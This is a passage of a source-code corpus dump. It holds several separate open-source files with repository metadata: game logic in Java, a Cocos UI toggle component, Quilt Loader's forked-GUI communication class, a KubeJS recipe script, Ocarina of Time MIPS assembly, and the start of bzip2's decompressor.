creature.getY() - level; j <= creature.getY() + level; j++) { if (position.dst(i, j) <= level && world.level.exists(LevelElementType.tile, i, j)) { available.add(new Grid2D.Coordinate(i, j)); } } } return withCoordinate(creature, available, new Function<Grid2D.Coordinate, IFuture<? extends IActionResult>>() { @Override public IFuture<? extends IActionResult> apply(Grid2D.Coordinate coordinate) { return Future.completed(calcResult(creature, coordinate)); } }); } private IActionResult calcResult(Creature creature, Grid2D.Coordinate cell) { Vector2 position = tmp.set(cell.x(), cell.y()); ObjectIntMap<Creature> targets = new ObjectIntMap<Creature>(); for (int i = cell.x() - MathUtils.ceil(radius); i <= cell.x() + radius; i++) { for (int j = cell.y() - MathUtils.ceil(radius); j <= cell.y() + radius; j++) { if (position.dst(i, j) <= radius) { WorldObject object = creature.world.get(i, j); if (object instanceof Creature && ((Creature) object).get(Attribute.canBeSelected) && !((Creature) object).get(Attribute.frozen)) { targets.put((Creature) object, i == cell.x() && j == cell.y() ? epicenterTurns : turns); } } } } return new IceStormResult(owner, creature, cell, targets); } }
0
0.844659
1
0.844659
game-dev
MEDIA
0.964232
game-dev
0.984089
1
0.984089
cocos/cocos-engine
5,986
cocos/ui/toggle-container.ts
/* Copyright (c) 2013-2016 Chukong Technologies Inc. Copyright (c) 2017-2023 Xiamen Yaji Software Co., Ltd. http://www.cocos.com Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ import { ccclass, help, executeInEditMode, executionOrder, menu, tooltip, type, serializable } from 'cc.decorator'; import { Component, EventHandler as ComponentEventHandler } from '../scene-graph'; import { Toggle } from './toggle'; import { legacyCC } from '../core/global-exports'; import { NodeEventType } from '../scene-graph/node-event'; /** * @en * ToggleContainer is not a visible UI component but a way to modify the behavior of a set of Toggles. <br/> * Toggles that belong to the same group could only have one of them to be switched on at a time.<br/> * Note: All the first layer child node containing the toggle component will auto be added to the container. * * @zh * ToggleGroup 不是一个可见的 UI 组件,它可以用来修改一组 Toggle 组件的行为。当一组 Toggle 属于同一个 ToggleGroup 的时候,<br/> * 任何时候只能有一个 Toggle 处于选中状态。 */ @ccclass('cc.ToggleContainer') @help('i18n:cc.ToggleContainer') @executionOrder(110) @menu('UI/ToggleContainer') @executeInEditMode export class ToggleContainer extends Component { @serializable protected _allowSwitchOff = false; /** * @en * If this setting is true, a toggle could be switched off and on when pressed. * If it is false, it will make sure there is always only one toggle could be switched on * and the already switched on toggle can't be switched off. * * @zh * 如果这个设置为 true,那么 toggle 按钮在被点击的时候可以反复地被选中和未选中。 */ @tooltip('i18n:toggle_group.allowSwitchOff') get allowSwitchOff (): boolean { return this._allowSwitchOff; } set allowSwitchOff (value) { this._allowSwitchOff = value; } /** * @en * If Toggle is clicked, it will trigger event's handler. * * @zh * Toggle 按钮的点击事件列表。 */ @type([ComponentEventHandler]) @serializable @tooltip('i18n:toggle_group.check_events') public checkEvents: ComponentEventHandler[] = []; constructor () { super(); } /** * @en * Read only property, return the toggle items array reference managed by ToggleContainer. * * @zh * 只读属性,返回 toggleContainer 管理的 toggle 数组引用。 */ get toggleItems (): Toggle[] { return this.node.children.map((item) => { const toggle = item.getComponent('cc.Toggle') as Toggle; if (toggle && toggle.enabled) { return toggle; } return null; }).filter(Boolean) as Toggle[]; } public onEnable (): void { this.ensureValidState(); this.node.on(NodeEventType.CHILD_ADDED, this.ensureValidState, this); this.node.on(NodeEventType.CHILD_REMOVED, this.ensureValidState, this); } public onDisable (): void { this.node.off(NodeEventType.CHILD_ADDED, this.ensureValidState, this); this.node.off(NodeEventType.CHILD_REMOVED, this.ensureValidState, this); } public activeToggles (): Toggle[] { return this.toggleItems.filter((x) => x.isChecked); } public anyTogglesChecked (): boolean { return !!this.toggleItems.find((x) => x.isChecked); } /** * @en * Refresh the state of the managed toggles. * * @zh * 刷新管理的 toggle 状态。 * * @param toggle @en The toggle to be updated. @zh 需要被更新的切换键。 * @param emitEvent @en Whether events are needed to be emitted. @zh 是否需要触发事件。 */ public notifyToggleCheck (toggle: Toggle, emitEvent = true): void { if (!this.enabledInHierarchy) { return; } for (let i = 0; i < this.toggleItems.length; i++) { const item = this.toggleItems[i]!; if (item === toggle) { continue; } if (emitEvent) { item.isChecked = false; } else { item.setIsCheckedWithoutNotify(false); } } if (this.checkEvents) { legacyCC.Component.EventHandler.emitEvents(this.checkEvents, toggle); } } /** * @en Ensure toggles state valid. * @zh 确保 toggles 状态有效。 */ public ensureValidState (): void { const toggles = this.toggleItems; if (!this._allowSwitchOff && !this.anyTogglesChecked() && toggles.length !== 0) { const toggle = toggles[0]!; toggle.isChecked = true; this.notifyToggleCheck(toggle); } const activeToggles = this.activeToggles(); if (activeToggles.length > 1) { const firstToggle = activeToggles[0]; for (let i = 0; i < activeToggles.length; ++i) { const toggle = activeToggles[i]; if (toggle === firstToggle) { continue; } toggle.isChecked = false; } } } } legacyCC.ToggleContainer = ToggleContainer;
0
0.951711
1
0.951711
game-dev
MEDIA
0.752133
game-dev,web-frontend
0.88942
1
0.88942
QuiltMC/quilt-loader
7,653
src/main/java/org/quiltmc/loader/impl/gui/QuiltFork.java
/* * Copyright 2023 QuiltMC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.quiltmc.loader.impl.gui; import java.awt.*; import java.awt.image.BufferedImage; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.imageio.ImageIO; import org.quiltmc.loader.api.LoaderValue; import org.quiltmc.loader.api.LoaderValue.LObject; import org.quiltmc.loader.api.LoaderValue.LType; import org.quiltmc.loader.api.gui.LoaderGuiClosed; import org.quiltmc.loader.api.gui.LoaderGuiException; import org.quiltmc.loader.api.gui.QuiltBasicWindow; import org.quiltmc.loader.api.gui.QuiltDisplayedError; import org.quiltmc.loader.api.gui.QuiltDisplayedError.QuiltErrorButton; import org.quiltmc.loader.api.gui.QuiltGuiMessagesTab; import org.quiltmc.loader.api.gui.QuiltLoaderGui; import org.quiltmc.loader.api.gui.QuiltLoaderText; import org.quiltmc.loader.api.gui.QuiltLoaderWindow; import org.quiltmc.loader.api.plugin.LoaderValueFactory; import org.quiltmc.loader.impl.QuiltLoaderImpl; import org.quiltmc.loader.impl.game.GameProvider; import org.quiltmc.loader.impl.util.LoaderValueHelper; import org.quiltmc.loader.impl.util.QuiltLoaderInternal; import org.quiltmc.loader.impl.util.QuiltLoaderInternalType; import org.quiltmc.loader.impl.util.SystemProperties; import org.quiltmc.loader.impl.util.log.Log; import org.quiltmc.loader.impl.util.log.LogCategory; @QuiltLoaderInternal(QuiltLoaderInternalType.NEW_INTERNAL) public class QuiltFork { private static final QuiltForkComms COMMS; private static final LoaderValueHelper<IOException> HELPER = LoaderValueHelper.IO_EXCEPTION; private static final IOException FORK_EXCEPTION; private static Error previousServerError; static { GameProvider provider = QuiltLoaderImpl.INSTANCE.getGameProvider(); if (Boolean.getBoolean(SystemProperties.DISABLE_FORKED_GUIS) || !provider.canOpenGui() || GraphicsEnvironment.isHeadless()) { COMMS = null; FORK_EXCEPTION = null; } else { QuiltForkComms comms = null; IOException error = null; try { File base = QuiltLoaderImpl.INSTANCE.getQuiltLoaderCacheDir().resolve("comms").toFile(); comms = QuiltForkComms.connect(base, QuiltFork::handleMessageFromServer); } catch (IOException e) { Log.error(LogCategory.GUI, "Failed to spawn the child process!", e); error = e; } COMMS = comms; FORK_EXCEPTION = error; } } public static void close() { if (COMMS != null) { COMMS.send(lvf().nul()); } } private static LoaderValueFactory lvf() { return LoaderValueFactory.getFactory(); } public static void openErrorGui(List<QuiltDisplayedError> errors) throws LoaderGuiException, LoaderGuiClosed { QuiltBasicWindow<Boolean> window = QuiltLoaderGui.createBasicWindow(false); window.title(QuiltLoaderText.of("Quilt Loader " + QuiltLoaderImpl.VERSION)); window.addOpenQuiltSupportButton(); QuiltErrorButton continueButton = window.addContinueButton(); continueButton.text(QuiltLoaderText.translate("button.ignore")); continueButton.icon(QuiltLoaderGui.iconContinueIgnoring()); QuiltGuiMessagesTab messages = window.addMessagesTab(QuiltLoaderText.EMPTY); window.restrictToSingleTab(); for (QuiltDisplayedError error : errors) { error.addOnFixedListener(() -> { for (QuiltDisplayedError e : errors) { if (!e.isFixed()) { return; } } continueButton.text(QuiltLoaderText.of("button.continue")); continueButton.icon(QuiltLoaderGui.iconContinue()); window.returnValue(true); }); messages.addMessage(error); } if (!QuiltLoaderGui.open(window)) { throw LoaderGuiClosed.INSTANCE; } } public static <R> R open(QuiltLoaderWindow<R> window) throws LoaderGuiException { open(window, true); return window.returnValue(); } public static void open(QuiltLoaderWindow<?> window, boolean shouldWait) throws LoaderGuiException { if (COMMS == null) { if (FORK_EXCEPTION != null) { // Gui NOT disabled, but it failed to open throw new LoaderGuiException("Failed to spawn the child process previously", FORK_EXCEPTION); } // Gui disabled, act as if the user pressed "ignore" or just closed the window immediately return; } if (previousServerError != null) { // Gui NOT disabled, but it previously crashed. throw new LoaderGuiException("The gui server encountered an error!", previousServerError); } AbstractWindow<?> realWindow = (AbstractWindow<?>) window; realWindow.send(); realWindow.open(); if (shouldWait) { realWindow.waitUntilClosed(() -> previousServerError); } } static void uploadIcon(int index, Map<Integer, BufferedImage> images) { if (COMMS == null) { return; } Map<String, LoaderValue> map = new HashMap<>(); map.put("__TYPE", lvf().string(ForkCommNames.ID_UPLOAD_ICON)); map.put("index", lvf().number(index)); Map<String, LoaderValue> imageMap = new HashMap<>(); for (Map.Entry<Integer, BufferedImage> entry : images.entrySet()) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try { ImageIO.write(entry.getValue(), "png", baos); } catch (IOException e) { throw new Error("Failed to write image!", e); } String base64 = Base64.getEncoder().encodeToString(baos.toByteArray()); imageMap.put(entry.getKey().toString(), lvf().string(base64)); } map.put("images", lvf().object(imageMap)); COMMS.send(lvf().object(map)); } private static void handleMessageFromServer(LoaderValue msg) { try { handleMessageFromServer0(msg); } catch (IOException io) { String json = "<failed to turn sent json into a string>"; try { ByteArrayOutputStream baos = new ByteArrayOutputStream(); LoaderValueFactory.getFactory().write(msg, baos); json = new String(baos.toByteArray(), StandardCharsets.UTF_8); } catch (IOException e) { io.addSuppressed(e); } throw new Error("Failed to handle json message\n" + json, io); } } private static void handleMessageFromServer0(LoaderValue msg) throws IOException { if (msg.type() == LType.NULL) { return; } else if (msg.type() == LType.OBJECT) { LObject packet = msg.asObject(); String type = HELPER.expectString(packet, "__TYPE"); switch (type) { case ForkCommNames.ID_EXCEPTION: { // The server encountered an exception LoaderValue detail = packet.get("detail"); if (detail == null || detail.type() != LType.STRING) { Log.error(LogCategory.COMMS, "The gui-server encountered an unknown error!"); previousServerError = new Error("[Unknown error: the gui server didn't send a detail trace]"); } else { Log.error(LogCategory.COMMS, "The gui-server encountered an error:\n" + detail.asString()); previousServerError = new Error("Previous error stacktrace:\n" + detail.asString()); } COMMS.close(); return; } case ForkCommNames.ID_GUI_OBJECT_UPDATE: { QuiltGuiSyncBase.updateObject(packet); return; } } } throw new Error("Unhandled message " + msg); } }
0
0.894918
1
0.894918
game-dev
MEDIA
0.485058
game-dev
0.984812
1
0.984812
AllTheMods/All-the-mods-9-Sky
4,760
kubejs/server_scripts/postUnify/dust.js
// priority:950 // Written by EnigmaQuip as a post almost unified recipe generation script for missing recipes ServerEvents.recipes(event => { if (global.devLogging) { console.log('Finishing Unifying on Dusts') } let dustCount = { occult: 0, ftbic: 0 } global.auTags.dusts.forEach(material => { let dust = global.itemFromTag('dusts', material) if (dust.isEmpty()) { console.log(`${material} does not have a dust tag entry`) return } let ingotTag = Ingredient.of(`#forge:ingots/${material}`) let oreTag = Ingredient.of(`#forge:ores/${material}`) let rawTag = Ingredient.of(`#forge:raw_materials/${material}`) // Occultism Crusher if (global.loaded.Occult_Loaded) { let crush = { ingot: false, ore: false, raw: false } event.forEachRecipe({ type: "occultism:crushing" }, recipe => { let recipeJson = recipe.json if (dust.equalsIgnoringCount(Item.of(recipeJson.get('result')))) { let input = recipeJson.get('ingredient') if (ingotTag.test(Ingredient.of(input))) { crush.ingot = true } else if (oreTag.test(Ingredient.of(input))) { crush.ore = true } else if (rawTag.test(Ingredient.of(input))) { crush.raw = true } } }) let recipe = { type: "occultism:crushing", ingredient: {}, result: {}, crushing_time: 200, ignore_crushing_multiplier: true } if (!ingotTag.getFirst().isEmpty() && !crush.ingot) { let ingotRecipe = recipe ingotRecipe.ingredient = ingotTag.toJson() ingotRecipe.result = dust.withCount(1).toJson() event.custom(ingotRecipe).id(`kubejs:occultism/crushing/${material}_dust_from_ingot`) dustCount.occult++ } if (!rawTag.getFirst().isEmpty() && !crush.raw) { let rawRecipe = recipe rawRecipe.ingredient = rawTag.toJson() rawRecipe.result = dust.withCount(2).toJson() rawRecipe.ignore_crushing_multiplier = false event.custom(rawRecipe).id(`kubejs:occultism/crushing/${material}_dust_from_raw_material`) dustCount.occult++ } if (!oreTag.getFirst().isEmpty() && !crush.ore) { let oreRecipe = recipe oreRecipe.ingredient = oreTag.toJson() oreRecipe.result = dust.withCount(2).toJson() oreRecipe.crushing_time = 300 oreRecipe.ignore_crushing_multiplier = false event.custom(oreRecipe).id(`kubejs:occultism/crushing/${material}_dust`) dustCount.occult++ } } // FTBIC Macerating if (global.loaded.FTBIC_Loaded) { let macerate = { ingot: false, ore: false, raw: false, } event.forEachRecipe({ type: 'ftbic:macerating' }, recipe => { let recipeJson = recipe.json recipeJson.get('outputItems').forEach(item => { if (dust.equalsIgnoringCount(Item.of(item))) { recipeJson.get('inputItems').forEach(inputJson => { let input = inputJson.get('ingredient') if (ingotTag.test(Ingredient.of(input))) { macerate.ingot = true } else if (oreTag.test(Ingredient.of(input))) { macerate.ore = true } else if (rawTag.test(Ingredient.of(input))) { macerate.raw = true } }) } }) }) if (!ingotTag.getFirst().isEmpty() && !macerate.ingot) { event.custom({ "type": "ftbic:macerating", "inputItems": [{ count: 1, ingredient: ingotTag.toJson() }], "outputItems": [dust.toJson()] }).id(`kubejs:ftbic/macerating/ingots/${material}_to_dust`) dustCount.ftbic++ } if (!oreTag.getFirst().isEmpty() && !macerate.ore) { event.custom({ "type": "ftbic:macerating", "inputItems": [{ count: 1, ingredient: oreTag.toJson() }], "outputItems": [dust.withCount(2).toJson()] }).id(`kubejs:ftbic/macerating/ores/${material}_to_dust`) dustCount.ftbic++ } if (!rawTag.getFirst().isEmpty() && !macerate.raw) { event.custom({ "type": "ftbic:macerating", "inputItems": [{ count: 1, ingredient: rawTag.toJson() }], "outputItems": [ dust.toJson(), { chance: 0.35, item: dust.id } ] }).id(`kubejs:ftbic/macerating/raw_materials/${material}_to_dust`) dustCount.ftbic++ } } }) if (global.devLogging) { console.log(`Added Dust Recipes - FTBIC: ${dustCount.ftbic}, Occultism: ${dustCount.occult}`) // Added Dust Recipes - FTBIC: 60, Occultism: 5 } })
0
0.904481
1
0.904481
game-dev
MEDIA
0.944641
game-dev
0.857036
1
0.857036
oot-pc-port/oot-pc-port
6,402
asm/non_matchings/overlays/actors/ovl_En_Ganon_Mant/func_80A24884.s
glabel func_80A24884 /* 00B24 80A24884 27BDFFB0 */ addiu $sp, $sp, 0xFFB0 ## $sp = FFFFFFB0 /* 00B28 80A24888 AFBF001C */ sw $ra, 0x001C($sp) /* 00B2C 80A2488C AFB00018 */ sw $s0, 0x0018($sp) /* 00B30 80A24890 AFA40050 */ sw $a0, 0x0050($sp) /* 00B34 80A24894 AFA50054 */ sw $a1, 0x0054($sp) /* 00B38 80A24898 8C850000 */ lw $a1, 0x0000($a0) ## 00000000 /* 00B3C 80A2489C 3C0680A2 */ lui $a2, %hi(D_80A27E80) ## $a2 = 80A20000 /* 00B40 80A248A0 24C67E80 */ addiu $a2, $a2, %lo(D_80A27E80) ## $a2 = 80A27E80 /* 00B44 80A248A4 27A40038 */ addiu $a0, $sp, 0x0038 ## $a0 = FFFFFFE8 /* 00B48 80A248A8 24070234 */ addiu $a3, $zero, 0x0234 ## $a3 = 00000234 /* 00B4C 80A248AC 0C031AB1 */ jal func_800C6AC4 /* 00B50 80A248B0 00A08025 */ or $s0, $a1, $zero ## $s0 = 00000000 /* 00B54 80A248B4 44806000 */ mtc1 $zero, $f12 ## $f12 = 0.00 /* 00B58 80A248B8 00003825 */ or $a3, $zero, $zero ## $a3 = 00000000 /* 00B5C 80A248BC 44066000 */ mfc1 $a2, $f12 /* 00B60 80A248C0 0C034261 */ jal Matrix_Translate /* 00B64 80A248C4 46006386 */ mov.s $f14, $f12 /* 00B68 80A248C8 8E0202C0 */ lw $v0, 0x02C0($s0) ## 000002C0 /* 00B6C 80A248CC 3C18DA38 */ lui $t8, 0xDA38 ## $t8 = DA380000 /* 00B70 80A248D0 37180003 */ ori $t8, $t8, 0x0003 ## $t8 = DA380003 /* 00B74 80A248D4 244F0008 */ addiu $t7, $v0, 0x0008 ## $t7 = 00000008 /* 00B78 80A248D8 AE0F02C0 */ sw $t7, 0x02C0($s0) ## 000002C0 /* 00B7C 80A248DC AC580000 */ sw $t8, 0x0000($v0) ## 00000000 /* 00B80 80A248E0 8FB90050 */ lw $t9, 0x0050($sp) /* 00B84 80A248E4 3C0580A2 */ lui $a1, %hi(D_80A27E98) ## $a1 = 80A20000 /* 00B88 80A248E8 24A57E98 */ addiu $a1, $a1, %lo(D_80A27E98) ## $a1 = 80A27E98 /* 00B8C 80A248EC 8F240000 */ lw $a0, 0x0000($t9) ## 00000000 /* 00B90 80A248F0 2406023C */ addiu $a2, $zero, 0x023C ## $a2 = 0000023C /* 00B94 80A248F4 0C0346A2 */ jal Matrix_NewMtx /* 00B98 80A248F8 AFA20034 */ sw $v0, 0x0034($sp) /* 00B9C 80A248FC 8FA30034 */ lw $v1, 0x0034($sp) /* 00BA0 80A24900 3C0980A2 */ lui $t1, %hi(D_80A27078) ## $t1 = 80A20000 /* 00BA4 80A24904 25297078 */ addiu $t1, $t1, %lo(D_80A27078) ## $t1 = 80A27078 /* 00BA8 80A24908 AC620004 */ sw $v0, 0x0004($v1) ## 00000004 /* 00BAC 80A2490C 8E0202C0 */ lw $v0, 0x02C0($s0) ## 000002C0 /* 00BB0 80A24910 3C04DE00 */ lui $a0, 0xDE00 ## $a0 = DE000000 /* 00BB4 80A24914 3C19DB06 */ lui $t9, 0xDB06 ## $t9 = DB060000 /* 00BB8 80A24918 24480008 */ addiu $t0, $v0, 0x0008 ## $t0 = 00000008 /* 00BBC 80A2491C AE0802C0 */ sw $t0, 0x02C0($s0) ## 000002C0 /* 00BC0 80A24920 AC490004 */ sw $t1, 0x0004($v0) ## 00000004 /* 00BC4 80A24924 AC440000 */ sw $a0, 0x0000($v0) ## 00000000 /* 00BC8 80A24928 8FAA0054 */ lw $t2, 0x0054($sp) /* 00BCC 80A2492C 3C0EDB06 */ lui $t6, 0xDB06 ## $t6 = DB060000 /* 00BD0 80A24930 37390030 */ ori $t9, $t9, 0x0030 ## $t9 = DB060030 /* 00BD4 80A24934 914B1706 */ lbu $t3, 0x1706($t2) ## 00001706 /* 00BD8 80A24938 3C0A80A2 */ lui $t2, %hi(D_80A27128) ## $t2 = 80A20000 /* 00BDC 80A2493C 254A7128 */ addiu $t2, $t2, %lo(D_80A27128) ## $t2 = 80A27128 /* 00BE0 80A24940 316C0001 */ andi $t4, $t3, 0x0001 ## $t4 = 00000000 /* 00BE4 80A24944 1180000A */ beq $t4, $zero, .L80A24970 /* 00BE8 80A24948 3C0680A2 */ lui $a2, %hi(D_80A27EB0) ## $a2 = 80A20000 /* 00BEC 80A2494C 8E0202C0 */ lw $v0, 0x02C0($s0) ## 000002C0 /* 00BF0 80A24950 3C0F80A2 */ lui $t7, %hi(D_80A26778) ## $t7 = 80A20000 /* 00BF4 80A24954 25EF6778 */ addiu $t7, $t7, %lo(D_80A26778) ## $t7 = 80A26778 /* 00BF8 80A24958 244D0008 */ addiu $t5, $v0, 0x0008 ## $t5 = 00000008 /* 00BFC 80A2495C AE0D02C0 */ sw $t5, 0x02C0($s0) ## 000002C0 /* 00C00 80A24960 35CE0030 */ ori $t6, $t6, 0x0030 ## $t6 = DB060030 /* 00C04 80A24964 AC4E0000 */ sw $t6, 0x0000($v0) ## 00000000 /* 00C08 80A24968 10000008 */ beq $zero, $zero, .L80A2498C /* 00C0C 80A2496C AC4F0004 */ sw $t7, 0x0004($v0) ## 00000004 .L80A24970: /* 00C10 80A24970 8E0202C0 */ lw $v0, 0x02C0($s0) ## 000002C0 /* 00C14 80A24974 3C0880A2 */ lui $t0, %hi(D_80A27578) ## $t0 = 80A20000 /* 00C18 80A24978 25087578 */ addiu $t0, $t0, %lo(D_80A27578) ## $t0 = 80A27578 /* 00C1C 80A2497C 24580008 */ addiu $t8, $v0, 0x0008 ## $t8 = 00000008 /* 00C20 80A24980 AE1802C0 */ sw $t8, 0x02C0($s0) ## 000002C0 /* 00C24 80A24984 AC480004 */ sw $t0, 0x0004($v0) ## 00000004 /* 00C28 80A24988 AC590000 */ sw $t9, 0x0000($v0) ## 00000000 .L80A2498C: /* 00C2C 80A2498C 8E0202C0 */ lw $v0, 0x02C0($s0) ## 000002C0 /* 00C30 80A24990 24C67EB0 */ addiu $a2, $a2, %lo(D_80A27EB0) ## $a2 = 80A27EB0 /* 00C34 80A24994 24070248 */ addiu $a3, $zero, 0x0248 ## $a3 = 00000248 /* 00C38 80A24998 24490008 */ addiu $t1, $v0, 0x0008 ## $t1 = 00000008 /* 00C3C 80A2499C AE0902C0 */ sw $t1, 0x02C0($s0) ## 000002C0 /* 00C40 80A249A0 AC4A0004 */ sw $t2, 0x0004($v0) ## 00000004 /* 00C44 80A249A4 AC440000 */ sw $a0, 0x0000($v0) ## 00000000 /* 00C48 80A249A8 8FAB0050 */ lw $t3, 0x0050($sp) /* 00C4C 80A249AC 27A40038 */ addiu $a0, $sp, 0x0038 ## $a0 = FFFFFFE8 /* 00C50 80A249B0 0C031AD5 */ jal func_800C6B54 /* 00C54 80A249B4 8D650000 */ lw $a1, 0x0000($t3) ## 00000000 /* 00C58 80A249B8 8FBF001C */ lw $ra, 0x001C($sp) /* 00C5C 80A249BC 8FB00018 */ lw $s0, 0x0018($sp) /* 00C60 80A249C0 27BD0050 */ addiu $sp, $sp, 0x0050 ## $sp = 00000000 /* 00C64 80A249C4 03E00008 */ jr $ra /* 00C68 80A249C8 00000000 */ nop
0
0.747482
1
0.747482
game-dev
MEDIA
0.976171
game-dev
0.709624
1
0.709624
QuickCarpet/QuickCarpet
1,026
src/main/java/quickcarpet/mixin/core/ThreadedAnvilChunkStorageMixin.java
package quickcarpet.mixin.core; import net.minecraft.network.packet.s2c.play.ChunkDataS2CPacket; import net.minecraft.server.network.ServerPlayerEntity; import net.minecraft.server.world.ThreadedAnvilChunkStorage; import net.minecraft.util.math.ChunkPos; import org.apache.commons.lang3.mutable.MutableObject; import org.spongepowered.asm.mixin.Mixin; import org.spongepowered.asm.mixin.injection.At; import org.spongepowered.asm.mixin.injection.Inject; import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; import quickcarpet.network.channels.StructureChannel; @Mixin(ThreadedAnvilChunkStorage.class) public class ThreadedAnvilChunkStorageMixin { @Inject(method = "sendWatchPackets", at = @At("HEAD")) private void quickcarpet$structureChannel$recordChunkSent(ServerPlayerEntity player, ChunkPos pos, MutableObject<ChunkDataS2CPacket> mutableObject, boolean withinMaxWatchDistance, boolean withinViewDistance, CallbackInfo ci) { StructureChannel.instance.recordChunkSent(player, pos); } }
0
0.69671
1
0.69671
game-dev
MEDIA
0.976337
game-dev
0.767696
1
0.767696
micdoodle8/Galacticraft
1,335
src/main/java/micdoodle8/mods/galacticraft/planets/mars/items/ItemBlockTintedGlassPane.java
package micdoodle8.mods.galacticraft.planets.mars.items; import micdoodle8.mods.galacticraft.core.proxy.ClientProxyCore; import net.minecraft.block.Block; import net.minecraft.item.EnumRarity; import net.minecraft.item.ItemBlock; import net.minecraft.item.ItemDye; import net.minecraft.item.ItemStack; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; public class ItemBlockTintedGlassPane extends ItemBlock { public ItemBlockTintedGlassPane(Block block) { super(block); this.setMaxDamage(0); this.setHasSubtypes(true); } @Override public int getMetadata(int damage) { return damage; } /*@Override @SideOnly(Side.CLIENT) public IIcon getIconFromDamage(int par1) { return this.getBlock().getIcon(0, par1); }*/ @Override public String getUnlocalizedName(ItemStack itemstack) { return this.getBlock().getUnlocalizedName() + "." + ItemDye.DYE_COLORS[~itemstack.getItemDamage() & 15]; } @Override @SideOnly(Side.CLIENT) public EnumRarity getRarity(ItemStack par1ItemStack) { return ClientProxyCore.galacticraftItem; } @Override public String getUnlocalizedName() { return this.getBlock().getUnlocalizedName() + ".0"; } }
0
0.804958
1
0.804958
game-dev
MEDIA
0.994353
game-dev
0.660396
1
0.660396
MiKTeX/miktex
21,258
Libraries/3rd/bzip2/source/decompress.c
/*-------------------------------------------------------------*/ /*--- Decompression machinery ---*/ /*--- decompress.c ---*/ /*-------------------------------------------------------------*/ /* ------------------------------------------------------------------ This file is part of bzip2/libbzip2, a program and library for lossless, block-sorting data compression. bzip2/libbzip2 version 1.0.8 of 13 July 2019 Copyright (C) 1996-2019 Julian Seward <jseward@acm.org> Please read the WARNING, DISCLAIMER and PATENTS sections in the README file. This program is released under the terms of the license contained in the file LICENSE. ------------------------------------------------------------------ */ #include "bzlib_private.h" /*---------------------------------------------------*/ static void makeMaps_d ( DState* s ) { Int32 i; s->nInUse = 0; for (i = 0; i < 256; i++) if (s->inUse[i]) { s->seqToUnseq[s->nInUse] = i; s->nInUse++; } } /*---------------------------------------------------*/ #define RETURN(rrr) \ { retVal = rrr; goto save_state_and_return; }; #define GET_BITS(lll,vvv,nnn) \ case lll: s->state = lll; \ while (True) { \ if (s->bsLive >= nnn) { \ UInt32 v; \ v = (s->bsBuff >> \ (s->bsLive-nnn)) & ((1 << nnn)-1); \ s->bsLive -= nnn; \ vvv = v; \ break; \ } \ if (s->strm->avail_in == 0) RETURN(BZ_OK); \ s->bsBuff \ = (s->bsBuff << 8) | \ ((UInt32) \ (*((UChar*)(s->strm->next_in)))); \ s->bsLive += 8; \ s->strm->next_in++; \ s->strm->avail_in--; \ s->strm->total_in_lo32++; \ if (s->strm->total_in_lo32 == 0) \ s->strm->total_in_hi32++; \ } #define GET_UCHAR(lll,uuu) \ GET_BITS(lll,uuu,8) #define GET_BIT(lll,uuu) \ GET_BITS(lll,uuu,1) /*---------------------------------------------------*/ #define GET_MTF_VAL(label1,label2,lval) \ { \ if (groupPos == 0) { \ groupNo++; \ if (groupNo >= nSelectors) \ RETURN(BZ_DATA_ERROR); \ groupPos = BZ_G_SIZE; \ gSel = s->selector[groupNo]; \ gMinlen = s->minLens[gSel]; \ gLimit = &(s->limit[gSel][0]); \ gPerm = &(s->perm[gSel][0]); \ gBase = &(s->base[gSel][0]); \ } \ groupPos--; \ zn = gMinlen; \ GET_BITS(label1, zvec, zn); \ while (1) { \ if (zn > 20 /* the longest code */) \ RETURN(BZ_DATA_ERROR); \ if (zvec <= gLimit[zn]) break; \ zn++; \ GET_BIT(label2, zj); \ zvec = (zvec << 1) | zj; \ }; \ if (zvec - gBase[zn] < 0 \ || zvec - gBase[zn] >= BZ_MAX_ALPHA_SIZE) \ RETURN(BZ_DATA_ERROR); \ lval = gPerm[zvec - gBase[zn]]; \ } /*---------------------------------------------------*/ Int32 BZ2_decompress ( DState* s ) { UChar uc; Int32 retVal; Int32 minLen, maxLen; bz_stream* strm = s->strm; /* stuff that needs to be saved/restored */ Int32 i; Int32 j; Int32 t; Int32 alphaSize; Int32 nGroups; Int32 nSelectors; Int32 EOB; Int32 groupNo; Int32 groupPos; Int32 nextSym; Int32 nblockMAX; Int32 nblock; Int32 es; Int32 N; Int32 curr; Int32 zt; Int32 zn; Int32 zvec; Int32 zj; Int32 gSel; Int32 gMinlen; Int32* gLimit; Int32* gBase; Int32* gPerm; if (s->state == BZ_X_MAGIC_1) { /*initialise the save area*/ s->save_i = 0; s->save_j = 0; s->save_t = 0; s->save_alphaSize = 0; s->save_nGroups = 0; s->save_nSelectors = 0; s->save_EOB = 0; s->save_groupNo = 0; s->save_groupPos = 0; s->save_nextSym = 0; s->save_nblockMAX = 0; s->save_nblock = 0; s->save_es = 0; s->save_N = 0; s->save_curr = 0; s->save_zt = 0; s->save_zn = 0; s->save_zvec = 0; s->save_zj = 0; s->save_gSel = 0; s->save_gMinlen = 0; s->save_gLimit = NULL; s->save_gBase = NULL; s->save_gPerm = NULL; } /*restore from the save 